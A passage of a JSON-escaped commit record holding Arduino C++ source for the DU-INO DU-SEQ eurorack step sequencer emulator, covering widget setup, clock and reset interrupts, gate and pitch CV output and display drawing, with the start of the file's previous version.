widgets_pitch_->attach_click_callback(s_pitch_click_callback);\n container_outer_->attach_child(widgets_pitch_, 2);\n widgets_steps_ = new DUINO_MultiDisplayWidget<8>(0, 48, 7, 9, 16, false, DUINO_Widget::Click);\n widgets_steps_->attach_scroll_callback_i(s_steps_scroll_callback);\n widgets_steps_->attach_click_callback(s_steps_click_callback);\n container_outer_->attach_child(widgets_steps_, 3);\n widgets_gate_ = new DUINO_MultiDisplayWidget<8>(7, 48, 9, 9, 16, false, DUINO_Widget::Click);\n widgets_gate_->attach_scroll_callback_i(s_gate_scroll_callback);\n widgets_gate_->attach_click_callback(s_gate_click_callback);\n container_outer_->attach_child(widgets_gate_, 4);\n widgets_slew_ = new DUINO_MultiDisplayWidget<8>(0, 58, 16, 6, 16, false, DUINO_Widget::Click);\n widgets_slew_->attach_scroll_callback_i(s_slew_scroll_callback);\n widgets_slew_->attach_click_callback(s_slew_click_callback);\n container_outer_->attach_child(widgets_slew_, 5);\n\n last_gate = false;\n last_stage = 0;\n last_diradd_mode = false;\n last_reverse = false;\n ext_clock_received = false;\n\n gt_attach_interrupt(GT3, clock_ext_isr, CHANGE);\n gt_attach_interrupt(GT4, reset_isr, FALLING);\n\n \/\/ draw top line\n Display.draw_du_logo_sm(0, 0, DUINO_SH1106::White);\n Display.draw_text(16, 0, \"SEQ\", DUINO_SH1106::White);\n\n \/\/ draw save box\n Display.fill_rect(widget_save_->x() + 1, widget_save_->y() + 1, 5, 5, DUINO_SH1106::White);\n\n \/\/ load settings\n load_params(0, params.bytes, 30);\n\n \/\/ verify settings and export to function parameters\n for(uint8_t i = 0; i < 8; ++i)\n {\n if(params.vals.stage_pitch[i] < 0)\n {\n params.vals.stage_pitch[i] = 0;\n }\n if(params.vals.stage_pitch[i] > 119)\n {\n params.vals.stage_pitch[i] = 119;\n }\n seq_values.stage_cv[i] = note_to_cv(params.vals.stage_pitch[i]);\n }\n\n for(uint8_t i = 0; i < 8; ++i)\n {\n if(params.vals.stage_steps[i] < 1 || params.vals.stage_steps[i] > 8)\n {\n params.vals.stage_steps[i] = 8;\n }\n seq_values.stage_steps[i] = params.vals.stage_steps[i];\n }\n \n for(uint8_t i = 0; i < 8; ++i)\n {\n if(params.vals.stage_gate[i] < 0 || params.vals.stage_gate[i] > 5)\n {\n params.vals.stage_gate[i] = 2;\n }\n seq_values.stage_gate[i] = (GateMode)params.vals.stage_gate[i];\n }\n\n for(uint8_t i = 0; i < 8; ++i)\n {\n seq_values.stage_slew[i] = (bool)((params.vals.stage_slew >> i) & 1);\n }\n\n if(params.vals.stage_count < 1 || params.vals.stage_count > 8)\n {\n params.vals.stage_count = 8;\n }\n seq_values.stage_count = params.vals.stage_count;\n\n seq_values.diradd_mode = (bool)params.vals.diradd_mode;\n \n if(params.vals.slew_rate < 0 || params.vals.slew_rate > 16)\n {\n params.vals.slew_rate = 8;\n }\n seq_values.slew_hz = slew_hz(params.vals.slew_rate);\n slew_filter->set_frequency(seq_values.slew_hz);\n\n if(params.vals.clock_bpm < 0 || params.vals.clock_bpm > 99)\n {\n params.vals.clock_bpm = 0;\n }\n seq_values.clock_period = bpm_to_us(params.vals.clock_bpm);\n seq_values.clock_ext = !(bool)params.vals.clock_bpm;\n update_clock();\n\n if(params.vals.gate_time < 0 || params.vals.gate_time > 16)\n {\n params.vals.gate_time = 8;\n }\n seq_values.gate_ms = params.vals.gate_time * (uint16_t)(seq_values.clock_period \/ 8000);\n\n \/\/ draw global elements\n for(uint8_t i = 0; i < 6; ++i)\n {\n Display.draw_vline(2 + i, 18 - i, i + 1, DUINO_SH1106::White);\n }\n Display.draw_char(widget_count_->x() + 1, widget_count_->y() + 1,\n '0' + params.vals.stage_count, DUINO_SH1106::White);\n Display.draw_char(widget_diradd_->x() + 1, widget_diradd_->y() + 1,\n params.vals.diradd_mode ? 'A' : 'D', DUINO_SH1106::White);\n Display.draw_char(30, 12, 0x10, DUINO_SH1106::White);\n\n Display.draw_vline(widget_slew_->x() + 1, widget_slew_->y() + 1, 7, DUINO_SH1106::White);\n Display.draw_hline(widget_slew_->x() + 2, widget_slew_->y() + 1, 16, DUINO_SH1106::White);\n Display.draw_hline(widget_slew_->x() + 2, widget_slew_->y() + 7, 16, DUINO_SH1106::White);\n Display.draw_vline(widget_slew_->x() + widget_slew_->width() - 2, widget_slew_->y() + 1, 7, DUINO_SH1106::White);\n display_slew_rate(widget_slew_->x() + 2, widget_slew_->y() + 2, params.vals.slew_rate, DUINO_SH1106::White);\n\n Display.draw_vline(widget_gate_->x() + 1, widget_gate_->y() + 1, 7, DUINO_SH1106::White);\n Display.draw_hline(widget_gate_->x() + 2, widget_gate_->y() + 1, 16, DUINO_SH1106::White);\n Display.draw_hline(widget_gate_->x() + 2, widget_gate_->y() + 7, 16, DUINO_SH1106::White);\n Display.draw_vline(widget_gate_->x() + widget_gate_->width() - 2, widget_slew_->y() + 1, 7, DUINO_SH1106::White); \n display_gate_time(widget_gate_->x() + 2, widget_gate_->y() + 2, params.vals.gate_time, DUINO_SH1106::White);\n\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, params.vals.clock_bpm, DUINO_SH1106::White);\n\n \/\/ draw step elements\n for(uint8_t i = 0; i < 8; ++i)\n {\n \/\/ pitch\n display_note(widgets_pitch_->x(i), widgets_pitch_->y(i), params.vals.stage_pitch[i], DUINO_SH1106::White);\n \/\/ steps\n Display.draw_char(widgets_steps_->x(i) + 1, widgets_steps_->y(i) + 1,\n '0' + params.vals.stage_steps[i], DUINO_SH1106::White);\n \/\/ gate mode\n Display.draw_bitmap_7(widgets_gate_->x(i) + 1, widgets_gate_->y(i) + 1,\n gate_mode_icons, (GateMode)params.vals.stage_gate[i], DUINO_SH1106::White);\n \/\/ slew\n Display.fill_rect(widgets_slew_->x(i) + 1, widgets_slew_->y(i) + 1, 14, 4, DUINO_SH1106::White);\n Display.fill_rect(widgets_slew_->x(i) + 2 + 6 * (~(params.vals.stage_slew >> i) & 1),\n widgets_slew_->y(i) + 2, 6, 2, DUINO_SH1106::Black);\n }\n\n widget_setup(container_outer_);\n Display.display_all();\n }\n\n virtual void loop()\n {\n \/\/ cache stage, step, and clock gate (so that each loop is \"atomic\")\n cached_stage = stage;\n cached_step = step;\n cached_clock_gate = clock_gate;\n cached_retrigger = retrigger;\n retrigger = false;\n\n if(cached_retrigger)\n {\n \/\/ drop gate at start of stage\n if(!cached_step)\n {\n gt_out(GT1, false);\n }\n\n \/\/ drop clock each step\n gt_out(GT2, false);\n\n \/\/ update step clock time\n clock_time = millis();\n }\n\n \/\/ set gate state\n switch(seq_values.stage_gate[cached_stage])\n {\n case GATE_NONE:\n gate = false;\n break;\n case GATE_1SHT:\n if(!cached_step)\n {\n gate = partial_gate();\n }\n break;\n case GATE_REPT:\n gate = partial_gate();\n break;\n case GATE_LONG:\n if(cached_step == seq_values.stage_steps[cached_stage] - 1)\n {\n gate = partial_gate();\n }\n else\n {\n gate = true;\n }\n break;\n case GATE_EXT1:\n gate = gt_read(CI2);\n break;\n case GATE_EXT2:\n gate = gt_read(CI3);\n break;\n }\n\n \/\/ set pitch CV state\n float slew_cv = slew_filter->filter(seq_values.stage_cv[cached_stage]);\n cv_out(CO1, seq_values.stage_slew[cached_stage] ? slew_cv : seq_values.stage_cv[cached_stage]);\n\n \/\/ set gate and clock states\n gt_out(GT1, gate);\n gt_out(GT2, cached_clock_gate);\n\n \/\/ update reverse setting\n if(!seq_values.diradd_mode)\n {\n reverse = gt_read(CI1);\n }\n\n widget_loop();\n\n \/\/ display reverse\/address\n if(seq_values.diradd_mode != last_diradd_mode\n || (!seq_values.diradd_mode && reverse != last_reverse)\n || (seq_values.diradd_mode && stage != last_stage))\n {\n display_reverse_address(30, 12);\n last_diradd_mode = seq_values.diradd_mode;\n last_reverse = reverse;\n Display.display(30, 34, 1, 2);\n }\n\n \/\/ display gate\n if(gate != last_gate || stage != last_stage)\n {\n uint8_t last_stage_cached = last_stage;\n last_gate = gate;\n last_stage = stage;\n\n if(gate)\n {\n if(stage != last_stage_cached)\n {\n display_gate(last_stage_cached, DUINO_SH1106::Black);\n }\n display_gate(stage, DUINO_SH1106::White);\n }\n else\n {\n display_gate(last_stage_cached, DUINO_SH1106::Black);\n }\n\n Display.display(16 * last_stage_cached + 6, 16 * last_stage_cached + 9, 3, 3);\n Display.display(16 * stage + 6, 16 * stage + 9, 3, 3);\n }\n\n \/\/ update clock from input\n if(ext_clock_received)\n {\n Display.fill_rect(widget_clock_->x() + 1, widget_clock_->y() + 1, 17, 7,\n widget_clock_->inverted() ? DUINO_SH1106::White : DUINO_SH1106::Black);\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, params.vals.clock_bpm,\n widget_clock_->inverted() ? DUINO_SH1106::Black : DUINO_SH1106::White);\n widget_clock_->display();\n ext_clock_received = false;\n }\n }\n\n void widget_save_click_callback()\n {\n if(!saved_)\n {\n save_params(0, params.bytes, 30);\n Display.fill_rect(widget_save_->x() + 2, widget_save_->y() + 2, 3, 3, DUINO_SH1106::Black);\n widget_save_->display();\n }\n }\n\n void widget_count_scroll_callback(int delta)\n {\n params.vals.stage_count += delta;\n if(params.vals.stage_count < 1)\n {\n params.vals.stage_count = 1;\n }\n else if(params.vals.stage_count > 8)\n {\n params.vals.stage_count = 8;\n }\n seq_values.stage_count = params.vals.stage_count;\n mark_save();\n Display.fill_rect(widget_count_->x() + 1, widget_count_->y() + 1, 5, 7, DUINO_SH1106::White);\n Display.draw_char(widget_count_->x() + 1, widget_count_->y() + 1, '0' + params.vals.stage_count,\n DUINO_SH1106::Black);\n widget_count_->display();\n }\n\n void widget_diradd_scroll_callback(int delta)\n {\n if(delta < 0)\n {\n params.vals.diradd_mode = 0;\n }\n else if(delta > 0)\n {\n params.vals.diradd_mode = 1;\n }\n seq_values.diradd_mode = (bool)params.vals.diradd_mode;\n mark_save();\n Display.fill_rect(widget_diradd_->x() + 1, widget_diradd_->y() + 1, 5, 7, DUINO_SH1106::White);\n Display.draw_char(widget_diradd_->x() + 1, widget_diradd_->y() + 1, params.vals.diradd_mode ? 'A' : 'D',\n DUINO_SH1106::Black);\n widget_diradd_->display();\n }\n\n void widget_slew_scroll_callback(int delta)\n {\n params.vals.slew_rate += delta;\n if(params.vals.slew_rate < 0)\n {\n params.vals.slew_rate = 0;\n }\n else if(params.vals.slew_rate > 16)\n {\n params.vals.slew_rate = 16;\n }\n seq_values.slew_hz = slew_hz(params.vals.slew_rate);\n slew_filter->set_frequency(seq_values.slew_hz);\n mark_save();\n Display.fill_rect(widget_slew_->x() + 2, widget_slew_->y() + 2, 16, 5, DUINO_SH1106::White);\n display_slew_rate(widget_slew_->x() + 2, widget_slew_->y() + 2, params.vals.slew_rate, DUINO_SH1106::Black);\n widget_slew_->display();\n }\n\n void widget_gate_scroll_callback(int delta)\n {\n params.vals.gate_time += delta;\n if(params.vals.gate_time < 0)\n {\n params.vals.gate_time = 0;\n }\n else if(params.vals.gate_time > 16)\n {\n params.vals.gate_time = 16;\n }\n seq_values.gate_ms = params.vals.gate_time * (uint16_t)(seq_values.clock_period \/ 8000);\n mark_save();\n Display.fill_rect(widget_gate_->x() + 2, widget_gate_->y() + 2, 16, 5, DUINO_SH1106::White);\n display_gate_time(widget_gate_->x() + 2, widget_gate_->y() + 2, params.vals.gate_time, DUINO_SH1106::Black);\n widget_gate_->display();\n }\n\n void widget_clock_scroll_callback(int delta)\n {\n params.vals.clock_bpm += delta;\n if(params.vals.clock_bpm < 0)\n {\n params.vals.clock_bpm = 0;\n }\n else if(params.vals.clock_bpm > 99)\n {\n params.vals.clock_bpm = 99;\n }\n seq_values.clock_period = bpm_to_us(params.vals.clock_bpm);\n seq_values.clock_ext = !(bool)params.vals.clock_bpm;\n mark_save();\n Display.fill_rect(widget_clock_->x() + 1, widget_clock_->y() + 1, 17, 7, DUINO_SH1106::White);\n display_clock(widget_clock_->x() + 1, widget_clock_->y() + 1, params.vals.clock_bpm, DUINO_SH1106::Black);\n update_clock();\n widget_clock_->display();\n }\n\n void widgets_pitch_scroll_callback(uint8_t stage_selected, int delta)\n {\n params.vals.stage_pitch[stage_selected] += delta;\n if(params.vals.stage_pitch[stage_selected] < 0)\n {\n params.vals.stage_pitch[stage_selected] = 0;\n }\n else if(params.vals.stage_pitch[stage_selected] > 119)\n {\n params.vals.stage_pitch[stage_selected] = 119;\n }\n seq_values.stage_cv[stage_selected] = note_to_cv(params.vals.stage_pitch[stage_selected]);\n mark_save();\n Display.fill_rect(widgets_pitch_->x(stage_selected), widgets_pitch_->y(stage_selected), 16, 15,\n DUINO_SH1106::White);\n display_note(widgets_pitch_->x(stage_selected), widgets_pitch_->y(stage_selected),\n params.vals.stage_pitch[stage_selected], DUINO_SH1106::Black);\n widgets_pitch_->display();\n }\n\n void widgets_steps_scroll_callback(uint8_t stage_selected, int delta)\n {\n params.vals.stage_steps[stage_selected] += delta;\n if(params.vals.stage_steps[stage_selected] < 1)\n {\n params.vals.stage_steps[stage_selected] = 1;\n }\n else if(params.vals.stage_steps[stage_selected] > 8)\n {\n params.vals.stage_steps[stage_selected] = 8;\n }\n seq_values.stage_steps[stage_selected] = params.vals.stage_steps[stage_selected];\n mark_save();\n Display.fill_rect(widgets_steps_->x(stage_selected) + 1, widgets_steps_->y(stage_selected) + 1, 5, 7,\n DUINO_SH1106::White);\n Display.draw_char(widgets_steps_->x(stage_selected) + 1, widgets_steps_->y(stage_selected) + 1,\n '0' + params.vals.stage_steps[stage_selected], DUINO_SH1106::Black);\n widgets_steps_->display();\n }\n\n void widgets_gate_scroll_callback(uint8_t stage_selected, int delta)\n {\n params.vals.stage_gate[stage_selected] += delta;\n if(params.vals.stage_gate[stage_selected] < 0)\n {\n params.vals.stage_gate[stage_selected] = 0;\n }\n else if(params.vals.stage_gate[stage_selected] > 5)\n {\n params.vals.stage_gate[stage_selected] = 5;\n }\n seq_values.stage_gate[stage_selected] = (GateMode)params.vals.stage_gate[stage_selected];\n mark_save();\n Display.fill_rect(widgets_gate_->x(stage_selected) + 1, widgets_gate_->y(stage_selected) + 1, 7, 7,\n DUINO_SH1106::White);\n Display.draw_bitmap_7(widgets_gate_->x(stage_selected) + 1, widgets_gate_->y(stage_selected) + 1,\n gate_mode_icons, (GateMode)params.vals.stage_gate[stage_selected], DUINO_SH1106::Black);\n widgets_gate_->display();\n }\n\n void widgets_slew_scroll_callback(uint8_t stage_selected, int delta)\n {\n if(delta < 0)\n {\n params.vals.stage_slew &= ~(1 << stage_selected);\n }\n else if(delta > 0)\n {\n params.vals.stage_slew |= (1 << stage_selected);\n }\n seq_values.stage_slew[stage_selected] = (bool)((params.vals.stage_slew >> stage_selected) & 1);\n mark_save();\n Display.fill_rect(widgets_slew_->x(stage_selected) + 1, widgets_slew_->y(stage_selected) + 1, 14, 4,\n DUINO_SH1106::Black);\n Display.fill_rect(widgets_slew_->x(stage_selected) + 2 + 6 * (~(params.vals.stage_slew >> stage_selected) & 1),\n widgets_slew_->y(stage_selected) + 2, 6, 2, DUINO_SH1106::White);\n widgets_slew_->display();\n }\n\n void widgets_pitch_click_callback()\n {\n widgets_steps_->select(widgets_pitch_->selected());\n widgets_gate_->select(widgets_pitch_->selected());\n widgets_slew_->select(widgets_pitch_->selected());\n }\n\n void widgets_steps_click_callback()\n {\n widgets_pitch_->select(widgets_steps_->selected());\n widgets_gate_->select(widgets_steps_->selected());\n widgets_slew_->select(widgets_steps_->selected());\n }\n\n void widgets_gate_click_callback()\n {\n widgets_pitch_->select(widgets_gate_->selected());\n widgets_steps_->select(widgets_gate_->selected());\n widgets_slew_->select(widgets_gate_->selected());\n }\n\n void widgets_slew_click_callback()\n {\n widgets_pitch_->select(widgets_slew_->selected());\n widgets_steps_->select(widgets_slew_->selected());\n widgets_gate_->select(widgets_slew_->selected());\n }\n\n void set_clock_ext()\n {\n params.vals.clock_bpm = 0;\n seq_values.clock_ext = true;\n ext_clock_received = true;\n update_clock();\n }\n\n uint8_t address_to_stage()\n {\n int8_t addr_stage = (int8_t)(cv_read(CI1) * 1.6);\n if(addr_stage < 0)\n {\n addr_stage = 0;\n }\n else if(stage > seq_values.stage_count - 1)\n {\n addr_stage = seq_values.stage_count - 1;\n }\n return (uint8_t)addr_stage;\n }\n\n private:\n bool partial_gate()\n {\n return (seq_values.clock_ext && cached_clock_gate)\n || cached_retrigger\n || ((millis() - clock_time) < seq_values.gate_ms);\n }\n\n float note_to_cv(int8_t note)\n {\n return ((float)note - 36.0) \/ 12.0;\n }\n\n unsigned long bpm_to_us(uint8_t bpm)\n {\n return 3000000 \/ (unsigned long)bpm;\n }\n\n float slew_hz(uint8_t slew_rate)\n {\n if(slew_rate)\n {\n return (float)(17 - slew_rate) \/ 4.0;\n }\n else\n {\n return 65536.0;\n }\n }\n\n void display_slew_rate(int16_t x, int16_t y, uint8_t rate, DUINO_SH1106::SH1106Color color)\n {\n Display.draw_vline(x + rate - 1, y, 5, color);\n }\n\n void display_gate_time(int16_t x, int16_t y, uint8_t time, DUINO_SH1106::SH1106Color color)\n {\n if(time > 1)\n {\n Display.draw_hline(x, y + 1, time - 1, color);\n }\n Display.draw_vline(x + time - 1, y + 1, 3, color);\n if(time < 16)\n {\n Display.draw_hline(x + time, y + 3, 16 - time, color);\n }\n }\n\n void display_clock(int16_t x, int16_t y, uint8_t bpm, DUINO_SH1106::SH1106Color color)\n {\n if(bpm == 0)\n {\n Display.draw_text(x, y, \"EXT\", color);\n }\n else\n {\n Display.draw_char(x, y, '0' + bpm \/ 10, color);\n Display.draw_char(x + 6, y, '0' + bpm % 10, color);\n Display.draw_char(x + 12, y, '0', color);\n }\n }\n\n void display_note(int16_t x, int16_t y, int8_t note, DUINO_SH1106::SH1106Color color)\n {\n \/\/ draw octave\n Display.draw_char(x + 9, y + 7, '0' + note \/ 12, color);\n\n \/\/ draw note\n Display.draw_char(x + 2, y + 4, semitone_lt[note % 12], color);\n \n \/\/ draw intonation symbol\n switch(semitone_in[note % 12])\n {\n case IF:\n Display.draw_vline(x + 9, y + 1, 5, color);\n Display.draw_pixel(x + 10, y + 3, color);\n Display.draw_pixel(x + 10, y + 5, color);\n Display.draw_vline(x + 11, y + 4, 2, color);\n break;\n case IS:\n Display.draw_vline(x + 9, y + 1, 5, color);\n Display.draw_pixel(x + 10, y + 2, color);\n Display.draw_pixel(x + 10, y + 4, color);\n Display.draw_vline(x + 11, y + 1, 5, color);\n break;\n }\n }\n\n void display_reverse_address(int16_t x, int16_t y)\n {\n Display.fill_rect(x, y, 5, 7, DUINO_SH1106::Black);\n\n if(seq_values.diradd_mode)\n {\n Display.draw_char(30, 12, '1' + stage, DUINO_SH1106::White);\n }\n else\n {\n Display.draw_char(30, 12, 0x10 + (unsigned char)reverse, DUINO_SH1106::White);\n }\n }\n\n void display_gate(uint8_t stage, DUINO_SH1106::SH1106Color color)\n {\n Display.fill_rect(16 * stage + 6, 26, 4, 4, color);\n }\n\n void mark_save()\n {\n if(saved_)\n {\n saved_ = false;\n Display.fill_rect(widget_save_->x() + 2, widget_save_->y() + 2, 3, 3, DUINO_SH1106::Black);\n widget_save_->display();\n }\n }\n\n struct DU_SEQ_Parameter_Values {\n int8_t stage_pitch[8];\n int8_t stage_steps[8];\n int8_t stage_gate[8];\n uint8_t stage_slew;\n int8_t stage_count;\n uint8_t diradd_mode;\n int8_t slew_rate;\n int8_t gate_time;\n int8_t clock_bpm;\n };\n\n union DU_SEQ_Parameters {\n DU_SEQ_Parameter_Values vals;\n uint8_t bytes[30];\n };\n\n DU_SEQ_Parameters params;\n\n DUINO_WidgetContainer<6> * container_outer_;\n DUINO_WidgetContainer<5> * container_top_;\n DUINO_DisplayWidget * widget_save_;\n DUINO_DisplayWidget * widget_count_;\n DUINO_DisplayWidget * widget_diradd_;\n DUINO_DisplayWidget * widget_slew_;\n DUINO_DisplayWidget * widget_gate_;\n DUINO_DisplayWidget * widget_clock_;\n DUINO_MultiDisplayWidget<8> * widgets_pitch_;\n DUINO_MultiDisplayWidget<8> * widgets_steps_;\n DUINO_MultiDisplayWidget<8> * widgets_gate_;\n DUINO_MultiDisplayWidget<8> * widgets_slew_;\n\n uint8_t cached_stage, cached_step;\n bool cached_clock_gate, cached_retrigger;\n unsigned long clock_time;\n\n bool last_gate;\n uint8_t last_stage;\n bool last_diradd_mode;\n bool last_reverse;\n\n bool ext_clock_received;\n};\n\nDU_SEQ_Function * function;\n\nvoid clock_ext_isr()\n{\n if(!seq_values.clock_ext)\n {\n function->set_clock_ext();\n }\n\n clock_isr();\n}\n\nvoid clock_isr()\n{\n clock_gate = seq_values.clock_ext ? function->gt_read_debounce(DUINO_Function::GT3) : !clock_gate;\n\n if(clock_gate)\n {\n step++;\n step %= seq_values.stage_steps[stage];\n if(!step)\n {\n stage = seq_values.diradd_mode ? function->address_to_stage() : (reverse ?\n (stage ? stage - 1 : seq_values.stage_count - 1) : stage + 1);\n stage %= seq_values.stage_count;\n }\n retrigger = true;\n }\n}\n\nvoid reset_isr()\n{\n stage = step = 0;\n update_clock();\n}\n\nvoid update_clock()\n{\n Timer1.detachInterrupt();\n if(!seq_values.clock_ext)\n {\n Timer1.attachInterrupt(clock_isr, seq_values.clock_period);\n }\n}\n\nvoid save_click_callback() { function->widget_save_click_callback(); }\nvoid count_scroll_callback(int delta) { function->widget_count_scroll_callback(delta); }\nvoid diradd_scroll_callback(int delta) { function->widget_diradd_scroll_callback(delta); }\nvoid slew_scroll_callback(int delta) { function->widget_slew_scroll_callback(delta); }\nvoid gate_scroll_callback(int delta) { function->widget_gate_scroll_callback(delta); }\nvoid clock_scroll_callback(int delta) { function->widget_clock_scroll_callback(delta); }\nvoid s_pitch_scroll_callback(uint8_t selected, int delta) { function->widgets_pitch_scroll_callback(selected, delta); }\nvoid s_steps_scroll_callback(uint8_t selected, int delta) { function->widgets_steps_scroll_callback(selected, delta); }\nvoid s_gate_scroll_callback(uint8_t selected, int delta) { function->widgets_gate_scroll_callback(selected, delta); }\nvoid s_slew_scroll_callback(uint8_t selected, int delta) { function->widgets_slew_scroll_callback(selected, delta); }\nvoid s_pitch_click_callback() { function->widgets_pitch_click_callback(); }\nvoid s_steps_click_callback() { function->widgets_steps_click_callback(); }\nvoid s_gate_click_callback() { function->widgets_gate_click_callback(); }\nvoid s_slew_click_callback() { function->widgets_slew_click_callback(); }\n\nvoid setup()\n{\n stage = step = 0;\n gate = clock_gate = retrigger = false;\n\n Timer1.initialize();\n\n slew_filter = new DUINO_Filter(DUINO_Filter::LowPass, 1.0, 0.0);\n\n function = new DU_SEQ_Function();\n\n function->begin();\n}\n\nvoid loop()\n{\n function->loop();\n}\n","old_contents":"\/*\n * #### ####\n * #### ####\n * #### #### ##\n * #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### ########\n * #### #### #### #### #### #### #### #### ####\n * #### #### #### #### #### #### #### #### ####\n * #### ############ ############ #### ########## #### ####\n * #### ####\n * ################################ ####\n * __ __ __ __ __ ####\n * | | | | [__) |_\/ (__ |__| | | [__) ####\n * |\/\\| |__| | \\ | \\ .__) | | |__| | ##\n *\n *\n * DU-INO DU-SEQ Emulator\n * Aaron Mavrinac <aaron@logick.ca>\n *\/\n\n#include <du-ino_function.h>\n#include <du-ino_widgets.h>\n#include <du-ino_dsp.h>\n#include <TimerOne.h>\n#include <avr\/pgmspace.h>\n\nenum GateMode {\n GATE_NONE = 0,\n GATE_1SHT = 1,\n GATE_REPT = 2,\n GATE_LONG = 3,\n GATE_EXT1 = 4,\n GATE_EXT2 = 5\n};\n\nenum Intonation {\n IN,\n IF,\n IS\n};\n\nstatic const unsigned char gate_mode_icons[] PROGMEM = {\n 0x00, 0x22, 0x14, 0x08, 0x14, 0x22, 0x00, \/\/ off\n 0x1C, 0x22, 0x5D, 0x5D, 0x5D, 0x22, 0x1C, \/\/ single\n 0x7C, 0x00, 0x7F, 0x00, 0x7F, 0x00, 0x7C, \/\/ multi\n 0x08, 0x1C, 0x1C, 0x1C, 0x1C, 0x1C, 0x08, \/\/ long\n 0x30, 0x40, 0x52, 0x5F, 0x50, 0x40, 0x30, \/\/ ext 1\n 0x30, 0x40, 0x59, 0x55, 0x52, 0x40, 0x30 \/\/ ext 2\n};\n\nstatic const unsigned char semitone_lt[12] = {'C', 'C', 'D', 'E', 'E', 'F', 'F', 'G', 'G', 'A', 'B', 'B'};\nstatic const Intonation semitone_in[12] = {IN, IS, IN, IF, IN, IN, IS, IN, IS, IN, IF, IN};\n\nstruct DU_SEQ_Values {\n float stage_cv[8];\n uint8_t stage_steps[8];\n GateMode stage_gate[8];\n bool stage_slew[8];\n uint8_t stage_count;\n bool diradd_mode;\n float slew_hz;\n uint16_t gate_ms;\n unsigned long clock_period;\n bool clock_ext;\n};\n\nvolatile DU_SEQ_Values seq_values;\n\nvolatile uint8_t stage, step;\nvolatile bool gate, clock_gate, retrigger, reverse;\n\nDUINO_Filter * slew_filter;\n\nvoid clock_ext_isr();\nvoid clock_isr();\nvoid reset_isr();\n\nvoid update_clock();\n\nvoid save_click_callback();\nvoid count_scroll_callback(int delta);\nvoid diradd_scroll_callback(int delta);\nvoid slew_scroll_callback(int delta);\nvoid gate_scroll_callback(int delta);\nvoid clock_scroll_callback(int delta);\nvoid s_pitch_scroll_callback(uint8_t selected, int delta);\nvoid s_steps_scroll_callback(uint8_t selected, int delta);\nvoid s_gate_scroll_callback(uint8_t selected, int delta);\nvoid s_slew_scroll_callback(uint8_t selected, int delta);\nvoid s_pitch_click_callback();\nvoid s_steps_click_callback();\nvoid s_gate_click_callback();\nvoid s_slew_click_callback();\n\nclass DU_SEQ_Function : public DUINO_Function {\n public:\n DU_SEQ_Function() : DUINO_Function(0b01111100) { }\n \n virtual void setup()\n {\n \/\/ build widget hierarchy\n container_outer_ = new DUINO_WidgetContainer<6>(DUINO_Widget::DoubleClick, 2);\n widget_save_ = new DUINO_DisplayWidget(121, 0, 7, 7);\n widget_save_->attach_click_callback(save_click_callback);\n container_outer_->attach_child(widget_save_, 0);\n container_top_ = new DUINO_WidgetContainer<5>(DUINO_Widget::Click);\n widget_count_ = new DUINO_DisplayWidget(9, 11, 7, 9);\n widget_count_->attach_scroll_callback(count_scroll_callback);\n container_top_->attach_child(widget_count_, 0);\n widget_diradd_ = new DUINO_DisplayWidget(21, 11, 7, 9);\n widget_diradd_->attach_scroll_callback(diradd_scroll_callback);\n container_top_->attach_child(widget_diradd_, 1);\n widget_slew_ = new DUINO_DisplayWidget(58, 11, 20, 9);\n widget_slew_->attach_scroll_callback(slew_scroll_callback);\n container_top_->attach_child(widget_slew_, 2);\n widget_gate_ = new DUINO_DisplayWidget(83, 11, 20, 9);\n widget_gate_->attach_scroll_callback(gate_scroll_callback);\n container_top_->attach_child(widget_gate_, 3);\n widget_clock_ = new DUINO_DisplayWidget(108, 11, 19, 9);\n widget_clock_->attach_scroll_callback(clock_scroll_callback);\n container_top_->attach_child(widget_clock_, 4);\n container_outer_->attach_child(container_top_, 1);\n widgets_pitch_ = new DUINO_MultiDisplayWidget<8>(0, 32, 16, 15, 16, false, DUINO_Widget::Click);\n widgets_pitch_->attach_scroll_callback_i(s_pitch_scroll_callback);\n widgets_pitch_->attach_click_callback(s_pitch_click_callback);\n container_outer_->attach_child(widgets_pitch_, 2);\n widgets_steps_ = new DUINO_MultiDisplayWidget<8>(0, 48, 7, 9, 16, false, DUINO_Widget::Click);\n widgets_steps_->attach_scroll_callback_i(s_steps_scroll_callback);\n widgets_steps_->attach_click_callback(s_steps_click_callback);\n container_outer_->attach_child(widgets_steps_, 3);\n widgets_gate_ = new DUINO_MultiDisplayWidget<8>(7, 48, 9, 9, 16, false, DUINO_Widget::Click);\n widgets_gate_->attach_scroll_callback_i(s_gate_scroll_callback);\n widgets_gate_->attach_click_callback(s_gate_click_callback);\n container_outer_->attach_child(widgets_gate_, 4);\n widgets_slew_ = new DUINO_MultiDisplayWidget<8>(0, 58, 16, 6, 16, false, DUINO_Widget::Click);\n widgets_slew_->attach_scroll_callback_i(s_slew_scroll_callback);\n widgets_slew_->attach_click_callback(s_slew_click_callback);\n container_outer_->attach_child(widgets_slew_, 5);\n\n last_gate = false;\n last_stage = 0;\n last_diradd_mode = false;\n last_reverse = false;\n ext_clock_received = false;\n\n gt_attach_interrupt(GT3, clock_ext_isr, CHANGE);\n gt_attach_interrupt(GT4, reset_isr, FALLING);\n\n \/\/ draw top line\n Display.draw_du_logo_sm(0, 0, DUINO_SH1106::White);\n Display.draw_text(16, 0, \"SEQ\", DUINO_SH1106::White);\n\n \/\/ draw save box\n Display.fill_rect(widget_save_->x() + 1, widget_save_->y() + 1, 5, 5, DUINO_SH1106::White);\n\n \/\/ load settings\n load_params(0, params.bytes, 30);\n\n \/\/ verify settings and export to function parameters\n for(uint8_t i = 0; i < 8; ++i)\n {\n if(params.vals.stage_pitch[i] < 0)\n {\n params.vals.stage_pitch[i] = 0;\n }\n if(params.vals.stage_pitch[i] > 119)\n {\n params.vals.stage_pitch[i] = 119;\n }\n seq_values.stage_cv[i] = note_to_cv(params.vals.stage_pitch[i]);\n }\n\n for(uint8_t i = 0; i < 8; ++i)\n {\n if(params.vals.stage_steps[i] < 1 || params.vals.stage_steps[i] > 8)\n {\n params.vals.stage_steps[i] = 8;\n }\n seq_values.stage_steps[i] = params.vals.stage_steps[i];\n }\n \n for(uint8_t i = 0; i < 8; ++i)\n {\n if(params.vals.stage_gate[i] < 0 || params.vals.stage_gate[i] > 5)\n {\n params.vals.stage_gate[i] = 2;\n }\n seq_values.stage_gate[i] = (GateMode)params.vals.stage_gate[i];\n }\n\n for(uint8_t i = 0; i < 8; ++i)\n {\n 